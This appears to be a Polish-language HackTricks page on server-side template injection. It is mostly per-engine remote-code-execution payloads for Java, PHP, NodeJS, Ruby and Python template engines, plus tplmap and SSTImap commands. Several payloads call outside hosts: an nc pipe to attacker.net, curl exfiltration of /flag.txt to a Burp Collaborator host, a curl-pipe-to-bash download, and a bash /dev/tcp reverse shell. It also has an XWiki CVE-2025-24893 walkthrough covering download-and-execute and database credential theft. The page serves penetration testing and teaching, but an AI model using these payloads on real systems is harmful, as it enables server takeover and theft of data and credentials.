SSTI (Server Side Template Injection)

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Co to jest SSTI (Server-Side Template Injection)

Server-side template injection to podatność, która występuje, gdy atakujący może wstrzyknąć złośliwy kod do szablonu wykonywanego po stronie serwera. Ta podatność może występować w różnych technologiach, w tym Jinja.

Jinja jest popularnym silnikiem szablonów używanym w aplikacjach webowych. Rozważmy przykład przedstawiający podatny fragment kodu wykorzystujący Jinja:

output = template.render(name=request.args.get('name'))

W tym podatnym kodzie parametr name z żądania użytkownika jest bezpośrednio przekazywany do szablonu przy użyciu funkcji render.

Może to potencjalnie pozwolić atakującemu na wstrzyknięcie złośliwego kodu do parametru name, prowadząc do server-side template injection.

Na przykład atakujący mógłby skonstruować żądanie z payloadem takim jak poniżej:

http://vulnerable-website.com/?name={{bad-stuff-here}}

The payload {{bad-stuff-here}} is injected into the name parameter. This payload can contain Jinja template directives that enable the attacker to execute unauthorized code or manipulate the template engine, potentially gaining control over the server.

Aby zapobiec podatnościom Server-Side Template Injection, deweloperzy powinni upewnić się, że dane wejściowe pochodzące od użytkownika są właściwie oczyszczone i zwalidowane zanim zostaną wstawione do szablonów. Wdrożenie walidacji danych wejściowych oraz zastosowanie kontekstowo świadomego escapingu może pomóc zmniejszyć ryzyko tej podatności.

Wykrywanie

Aby wykryć Server-Side Template Injection (SSTI), na początek prostym podejściem jest fuzzing the template. Polega to na wstrzyknięciu sekwencji znaków specjalnych (${{<%[%'"}}%\) do szablonu i analizie różnic w odpowiedzi serwera dla zwykłych danych w porównaniu z tym specjalnym ładunkiem. Wskaźniki podatności obejmują:

  • Wyrzucane błędy, ujawniające podatność i potencjalnie silnik szablonów.
  • Brak payloadu w refleksji lub brakujące jego części, co sugeruje, że serwer przetwarza go inaczej niż zwykłe dane.
  • Kontekst tekstowy: Rozróżnienie od XSS poprzez sprawdzenie, czy serwer ocenia wyrażenia szablonowe (np. {{7*7}}, ${7*7}).
  • Kontekst kodu: Potwierdzenie podatności poprzez zmianę parametrów wejściowych. Na przykład zmiana greeting w http://vulnerable-website.com/?greeting=data.username aby sprawdzić, czy wyjście serwera jest dynamiczne czy stałe, jak w przypadku greeting=data.username}}hello, które zwraca nazwę użytkownika.

Faza identyfikacji

Identyfikacja silnika szablonów obejmuje analizę komunikatów o błędach lub ręczne testowanie różnych language-specific payloads. Typowe payloady powodujące błędy to ${7/0}, {{7/0}} oraz <%= 7/0 %>. Obserwacja odpowiedzi serwera na operacje matematyczne pomaga określić konkretny silnik szablonów.

Identyfikacja za pomocą payloads

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*35XwCGeYeKYmeaU8rdkSdg.jpeg

Narzędzia

TInjA

wydajny skaner SSTI + CSTI, który wykorzystuje nowatorskie polyglots

tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
tinja url -u "http://example.com/" -d "username=Kirlia"  -c "PHPSESSID=ABC123..."

SSTImap

python3 sstimap.py -i -l 5
python3 sstimap.py -u "http://example.com/" --crawl 5 --forms
python3 sstimap.py -u "https://example.com/page?name=John" -s

Tplmap

python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade

Template Injection Table

Interaktywna tabela zawierająca najbardziej efektywne template injection polyglots wraz z oczekiwanymi odpowiedziami 44 najważniejszych silników szablonów.

Exploits

Generic

W tym wordlist możesz znaleźć variables defined w środowiskach niektórych z silników wymienionych poniżej:

Java

Java - Basic injection

${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
// if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.

Java - Pobierz zmienne środowiskowe systemu

${T(java.lang.System).getenv()}

Java - Pobierz /etc/passwd

${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}

${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}

FreeMarker (Java)

Możesz wypróbować swoje payloads na [https://try.freemarker.apache.org]

  • {{7*7}} = {{7*7}}
  • ${7*7} = 49
  • #{7*7} = 49 -- (legacy)
  • ${7*'7'} Nothing
  • ${foobar}
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}

${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}

Freemarker - Sandbox bypass

⚠️ działa tylko na wersjach Freemarker poniżej 2.3.30

<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}

Więcej informacji

Velocity (Java)

// I think this doesn't work
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end

// This should work?
#set($s="")
#set($stringClass=$s.getClass())
#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())
#set($process=$runtime.exec("cat%20/flag563378e453.txt"))
#set($out=$process.getInputStream())
#set($null=$process.waitFor() )
#foreach($i+in+[1..$out.available()])
$out.read()
#end

Więcej informacji

Thymeleaf

W Thymeleaf często używanym testem podatności SSTI jest wyrażenie ${7*7}, które również dotyczy tego silnika szablonów. W celu potencjalnego remote code execution można użyć wyrażeń takich jak poniższe:

  • SpringEL:
${T(java.lang.Runtime).getRuntime().exec('calc')}
  • OGNL:
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}

Thymeleaf wymaga umieszczenia tych wyrażeń w określonych atrybutach. Jednakże expression inlining jest obsługiwane dla innych miejsc w szablonie, używając składni takiej jak [[...]] lub [(...)]. Tak więc prosty SSTI testowy payload może wyglądać jak [[${7*7}]].

Jednak prawdopodobieństwo, że ten payload zadziała, jest na ogół niskie. Domyślna konfiguracja Thymeleaf nie obsługuje dynamicznego generowania szablonów; szablony muszą być z góry zdefiniowane. Programiści musieliby zaimplementować własny TemplateResolver, aby tworzyć szablony ze stringów w locie, co jest rzadkie.

Thymeleaf oferuje również expression preprocessing, gdzie wyrażenia umieszczone między podwójnymi podkreśleniami (__...__) są wstępnie przetwarzane. Funkcja ta może być wykorzystana przy budowaniu wyrażeń, jak pokazano w dokumentacji Thymeleaf:

#{selection.__${sel.code}__}

Przykład podatności w Thymeleaf

Rozważ poniższy fragment kodu, który może być podatny na wykorzystanie:

<a th:href="@{__${path}__}" th:title="${title}">
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>

To wskazuje, że jeśli silnik szablonów przetworzy te wejścia niepoprawnie, może to doprowadzić do remote code execution, uzyskując dostęp do adresów URL takich jak:

http://localhost:8082/(7*7)
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})

Więcej informacji

EL - Expression Language

Spring Framework (Java)

*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}

Omijanie filtrów

Można użyć wielu wyrażeń zmiennych, jeśli ${...} nie działa spróbuj #{...}, *{...}, @{...} lub ~{...}.

  • Odczytaj /etc/passwd
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
  • Własny skrypt do generowania payloadu
#!/usr/bin/python3

## Written By Zeyad Abulaban (zAbuQasem)
# Usage: python3 gen.py "id"

from sys import argv

cmd = list(argv[1].strip())
print("Payload: ", cmd , end="\n\n")
converted = [ord(c) for c in cmd]
base_payload = '*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec'
end_payload = '.getInputStream())}'

count = 1
for i in converted:
if count == 1:
base_payload += f"(T(java.lang.Character).toString({i}).concat"
count += 1
elif count == len(converted):
base_payload += f"(T(java.lang.Character).toString({i})))"
else:
base_payload += f"(T(java.lang.Character).toString({i})).concat"
count += 1

print(base_payload + end_payload)

Więcej informacji

Manipulacja widokami w Spring (Java)

__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x

EL - Expression Language

Pebble (Java)

  • {{ someString.toUPPERCASE() }}

Starsza wersja Pebble ( < wersja 3.0.9):

{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}

Nowa wersja Pebble :

{% raw %}
{% set cmd = 'id' %}
{% endraw %}






{% set bytes = (1).TYPE
.forName('java.lang.Runtime')
.methods[6]
.invoke(null,null)
.exec(cmd)
.inputStream
.readAllBytes() %}
{{ (1).TYPE
.forName('java.lang.String')
.constructors[0]
.newInstance(([bytes]).toArray()) }}

Jinjava (Java)

{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206

Jinjava jest projektem open source rozwijanym przez Hubspot, dostępnym pod https://github.com/HubSpot/jinjava/

Jinjava - Command execution

Naprawione przez https://github.com/HubSpot/jinjava/pull/230

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

Więcej informacji

Hubspot - HuBL (Java)

  • {% %} - delimitery instrukcji
  • {{ }} - delimitery wyrażeń
  • {# #} - delimitery komentarzy
  • {{ request }} - com.hubspot.content.hubl.context.TemplateContextRequest@23548206
  • {{'a'.toUpperCase()}} - “A”
  • {{'a'.concat('b')}} - “ab”
  • {{'a'.getClass()}} - java.lang.String
  • {{request.getClass()}} - class com.hubspot.content.hubl.context.TemplateContextRequest
  • {{request.getClass().getDeclaredMethods()[0]}} - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()

Wyszukaj “com.hubspot.content.hubl.context.TemplateContextRequest” i znaleziono Jinjava project on Github.

{{request.isDebug()}}
//output: False

//Using string 'a' to get an instance of class sun.misc.Launcher
{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}
//output: sun.misc.Launcher@715537d4

//It is also possible to get a new object of the Jinjava class
{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}
//output: com.hubspot.jinjava.JinjavaConfig@78a56797

//It was also possible to call methods on the created object by combining the



{% raw %}
{% %} and {{ }} blocks
{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}
{% endraw %}


{{ji.render('{{1*2}}')}}
//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.

//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
//output: xxx

//RCE
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
//output: java.lang.UNIXProcess@1e5f456e

//RCE with org.apache.commons.io.IOUtils.
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//output: netstat execution

//Multiple arguments to the commands
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

Więcej informacji

Expression Language - EL (Java)

  • ${"aaaa"} - “aaaa”
  • ${99999+1} - 100000.
  • #{7*7} - 49
  • ${{7*7}} - 49
  • ${{request}}, ${{session}}, {{faceContext}}

Expression Language (EL) to podstawowa funkcja, która ułatwia interakcję pomiędzy warstwą prezentacji (np. strony WWW) a logiką aplikacji (np. managed beans) w JavaEE. Jest szeroko stosowana w różnych technologiach JavaEE, aby usprawnić tę komunikację. Główne technologie JavaEE wykorzystujące EL to:

  • JavaServer Faces (JSF): Wykorzystuje EL do powiązania komponentów na stronach JSF z odpowiednimi danymi i akcjami po stronie backendu.
  • JavaServer Pages (JSP): EL jest używana w JSP do dostępu i manipulacji danymi w stronach JSP, co ułatwia łączenie elementów strony z danymi aplikacji.
  • Contexts and Dependency Injection for Java EE (CDI): EL integruje się z CDI, umożliwiając płynną interakcję między warstwą web a managed beans, zapewniając bardziej spójną strukturę aplikacji.

Sprawdź następującą stronę, aby dowiedzieć się więcej o wykorzystaniu interpreterów EL:

EL - Expression Language

Groovy (Java)

Następujące obejścia Security Managera zostały zaczerpnięte z tego writeup.

//Basic Payload
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "ping cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net "
assert java.lang.Runtime.getRuntime().exec(cmd.split(" "))
})
def x

//Payload to get output
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "whoami";
out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next()
cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net";
java.lang.Runtime.getRuntime().exec(cmd2.split(" "))
})
def x

//Other payloads
new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x")
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))

XWiki SolrSearch Groovy RCE (CVE-2025-24893)

XWiki ≤ 15.10.10 (fixed in 15.10.11 / 16.4.1 / 16.5.0RC1) renderuje nieautoryzowane kanały wyszukiwania RSS przez makro Main.SolrSearch. Handler przyjmuje parametr zapytania text, opakowuje go w składnię wiki i wykonuje makra, więc wstrzyknięcie }}} a następnie {{groovy}} uruchamia dowolny kod Groovy w JVM.

  1. Rozpoznanie i zakres – Kiedy XWiki jest reverse-proxy za host-based routing, fuzzuj nagłówek Host (ffuf -u http://<ip> -H "Host: FUZZ.target" ...) aby odnaleźć wiki vhost, następnie przeglądaj /xwiki/bin/view/Main/ i odczytaj stopkę (XWiki Debian 15.10.8) żeby potwierdzić podatną wersję.
  2. Wywołanie SSTI – Zażądaj /xwiki/bin/view/Main/SolrSearch?media=rss&text=%7D%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln(%22Hello%22)%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D%20. Element RSS <title> będzie zawierać output Groovy. Zawsze “URL-encode all characters”, tak aby spacje pozostały jako %20; zastępowanie ich przez + powoduje, że XWiki zwraca HTTP 500.
  3. Uruchamianie poleceń systemowych – Podmień ciało Groovy na {{groovy}}println("id".execute().text){{/groovy}}. String.execute() uruchamia polecenie bezpośrednio przez execve(), więc metaznaki powłoki (|, >, &) nie są interpretowane. Zamiast tego użyj wzorca download-and-execute:
  • "curl http://ATTACKER/rev -o /dev/shm/rev".execute().text
  • "bash /dev/shm/rev".execute().text (skrypt zawiera logikę reverse shell).
  1. Post-exploitation – XWiki przechowuje dane dostępowe do bazy w /etc/xwiki/hibernate.cfg.xml; leaking hibernate.connection.password daje hasła do real-system, które mogą być ponownie użyte przez SSH. Jeśli jednostka serwisowa ustawia NoNewPrivileges=true, narzędzia takie jak /bin/su nie uzyskają dodatkowych uprawnień nawet przy poprawnych hasłach, więc pivotuj przez SSH zamiast polegać na lokalnych binariach SUID.

Ten sam payload działa też na /xwiki/bin/get/Main/SolrSearch, a stdout Groovy jest zawsze osadzony w tytule RSS, więc łatwo zautomatyzować enumerację poleceń.

Inne (Java)

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NHgR25-CMICMhPOaIJzqwQ.jpeg

Smarty (PHP)

{$smarty.version}
{php}echo `id`;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3

Więcej informacji

Twig (PHP)

  • {{7*7}} = 49
  • ${7*7} = ${7*7}
  • {{7*'7'}} = 49
  • {{1/0}} = Error
  • {{foobar}} Nothing
#Get Info
{{_self}} #(Ref. to current application)
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}

#File read
"{{'/etc/passwd'|file_excerpt(1,30)}}"@

#Exec code
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
{{['id',""]|sort('system')}}

#Hide warnings and errors for automatic exploitation
{{["error_reporting", "0"]|sort("ini_set")}}

Twig - Format szablonu

$output = $twig > render (
'Dear' . $_GET['custom_greeting'],
array("first_name" => $user.first_name)
);

$output = $twig > render (
"Dear {first_name}",
array("first_name" => $user.first_name)
);

Więcej informacji

Plates (PHP)

Plates jest silnikiem szablonów natywnym dla PHP, czerpiącym inspirację z Twig. Jednak w przeciwieństwie do Twig, który wprowadza nową składnię, Plates wykorzystuje natywny kod PHP w szablonach, co czyni go intuicyjnym dla programistów PHP.

Kontroler:

// Create new Plates instance
$templates = new League\Plates\Engine('/path/to/templates');

// Render a template
echo $templates->render('profile', ['name' => 'Jonathan']);

Szablon strony:

<?php $this->layout('template', ['title' => 'User Profile']) ?>

<h1>User Profile</h1>
<p>Hello, <?=$this->e($name)?></p>

Szablon układu:

<html>
<head>
<title><?=$this->e($title)?></title>
</head>
<body>
<?=$this->section('content')?>
</body>
</html>

Więcej informacji

PHPlib i HTML_Template_PHPLIB (PHP)

HTML_Template_PHPLIB jest taki sam jak PHPlib, ale przeniesiony do Pear.

authors.tpl

<html>
<head>
<title>{PAGE_TITLE}</title>
</head>
<body>
<table>
<caption>
Authors
</caption>
<thead>
<tr>
<th>Name</th>
<th>Email</th>
</tr>
</thead>
<tfoot>
<tr>
<td colspan="2">{NUM_AUTHORS}</td>
</tr>
</tfoot>
<tbody>
<!-- BEGIN authorline -->
<tr>
<td>{AUTHOR_NAME}</td>
<td>{AUTHOR_EMAIL}</td>
</tr>
<!-- END authorline -->
</tbody>
</table>
</body>
</html>

authors.php

<?php
//we want to display this author list
$authors = array(
'Christian Weiske'  => 'cweiske@php.net',
'Bjoern Schotte'     => 'schotte@mayflower.de'
);

require_once 'HTML/Template/PHPLIB.php';
//create template object
$t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep');
//load file
$t->setFile('authors', 'authors.tpl');
//set block
$t->setBlock('authors', 'authorline', 'authorline_ref');

//set some variables
$t->setVar('NUM_AUTHORS', count($authors));
$t->setVar('PAGE_TITLE', 'Code authors as of ' . date('Y-m-d'));

//display the authors
foreach ($authors as $name => $email) {
$t->setVar('AUTHOR_NAME', $name);
$t->setVar('AUTHOR_EMAIL', $email);
$t->parse('authorline_ref', 'authorline', true);
}

//finish and echo
echo $t->finish($t->parse('OUT', 'authors'));
?>

Więcej informacji

Inne PHP

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*u4h8gWhE8gD5zOtiDQalqw.jpeg

Jade (NodeJS)

- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}

Więcej informacji

patTemplate (PHP)

patTemplate niekompilujący silnik szablonów PHP, który używa tagów XML do podziału dokumentu na różne części

<patTemplate:tmpl name="page">
This is the main page.
<patTemplate:tmpl name="foo">
It contains another template.
</patTemplate:tmpl>
<patTemplate:tmpl name="hello">
Hello {NAME}.<br/>
</patTemplate:tmpl>
</patTemplate:tmpl>

Więcej informacji

Handlebars (NodeJS)

Path Traversal (więcej informacji here).

curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
  • = Błąd
  • ${7*7} = ${7*7}
  • Nic
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}

URLencoded:
%7B%7B%23with%20%22s%22%20as%20%7Cstring%7C%7D%7D%0D%0A%20%20%7B%7B%23with%20%22e%22%7D%7D%0D%0A%20%20%20%20%7B%7B%23with%20split%20as%20%7Cconslist%7C%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epush%20%28lookup%20string%2Esub%20%22constructor%22%29%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%23with%20string%2Esplit%20as%20%7Ccodelist%7C%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epush%20%22return%20require%28%27child%5Fprocess%27%29%2Eexec%28%27whoami%27%29%3B%22%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%23each%20conslist%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%23with%20%28string%2Esub%2Eapply%200%20codelist%29%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bthis%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%2Feach%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%7B%7B%2Fwith%7D%7D%0D%0A%7B%7B%2Fwith%7D%7D

Więcej informacji

JsRender (NodeJS)

SzablonOpis
Ocena i renderowanie wyjścia
Ocena i renderowanie wyjścia zakodowanego jako HTML
Komentarz
andZezwalaj na kod (domyślnie wyłączone)
  • = 49

Po stronie klienta

{{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}

Po stronie serwera

{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}

Więcej informacji

PugJs (NodeJS)

  • #{7*7} = 49
  • #{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}
  • #{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}

Przykład renderowania po stronie serwera

var pugjs = require("pug")
home = pugjs.render(injected_page)

Więcej informacji

NUNJUCKS (NodeJS)

  • {{7*7}} = 49
  • {{foo}} = Brak wyjścia
  • #{7*7} = #{7*7}
  • {{console.log(1)}} = Błąd
{
{
range.constructor(
"return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')"
)()
}
}
{
{
range.constructor(
"return global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.14.11/6767 0>&1\"')"
)()
}
}

Więcej informacji

NodeJS piaskownice wyrażeń (vm2 / isolated-vm)

Niektóre narzędzia do tworzenia workflow oceniają wyrażenia kontrolowane przez użytkownika wewnątrz piaskownic Node (vm2, isolated-vm), jednak kontekst wyrażeń nadal udostępnia this.process.mainModule.require. To pozwala atakującemu załadować child_process i wykonywać polecenia systemu operacyjnego nawet gdy dedykowane “Execute Command” nodes są wyłączone:

={{ (function() {
const require = this.process.mainModule.require;
const execSync = require("child_process").execSync;
return execSync("id").toString();
})() }}

Inne NodeJS

https://miro.medium.com/v2/resize:fit:640/format:webp/1*J4gQBzN8Gbj0CkgSLLhigQ.jpeg

https://miro.medium.com/v2/resize:fit:640/format:webp/1*jj_-oBi3gZ6UNTvkBogA6Q.jpeg

ERB (Ruby)

  • {{7*7}} = {{7*7}}
  • ${7*7} = ${7*7}
  • <%= 7*7 %> = 49
  • <%= foobar %> = Error
<%= system("whoami") %> #Execute code
<%= Dir.entries('/') %> #List folder
<%= File.open('/etc/passwd').read %> #Read file

<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines()  %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>

Więcej informacji

Slim (Ruby)

  • { 7 * 7 }
{ %x|env| }

Więcej informacji

Inne Ruby

https://miro.medium.com/v2/resize:fit:640/format:webp/1*VeZvEGI6rBP_tH-V0TqAjQ.jpeg

https://miro.medium.com/v2/resize:fit:640/format:webp/1*m-iSloHPqRUriLOjpqpDgg.jpeg

Python

Sprawdź poniższą stronę, aby poznać triki dotyczące arbitrary command execution bypassing sandboxes w pythonie:

Bypass Python sandboxes

Tornado (Python)

  • {{7*7}} = 49
  • ${7*7} = ${7*7}
  • {{foobar}} = Error
  • {{7*'7'}} = 7777777
{% raw %}
{% import foobar %} = Error
{% import os %}

{% import os %}
{% endraw %}







{{os.system('whoami')}}
{{os.system('whoami')}}

Więcej informacji

Jinja2 (Python)

Official website

Jinja2 to w pełni funkcjonalny silnik szablonów dla Pythona. Posiada pełne wsparcie dla Unicode, opcjonalne zintegrowane środowisko wykonawcze w piaskownicy, jest szeroko stosowany i objęty licencją BSD.

  • {{7*7}} = Error
  • ${7*7} = ${7*7}
  • {{foobar}} Nothing
  • {{4*4}}[[5*5]]
  • {{7*'7'}} = 7777777
  • {{config}}
  • {{config.items()}}
  • {{settings.SECRET_KEY}}
  • {{settings}}
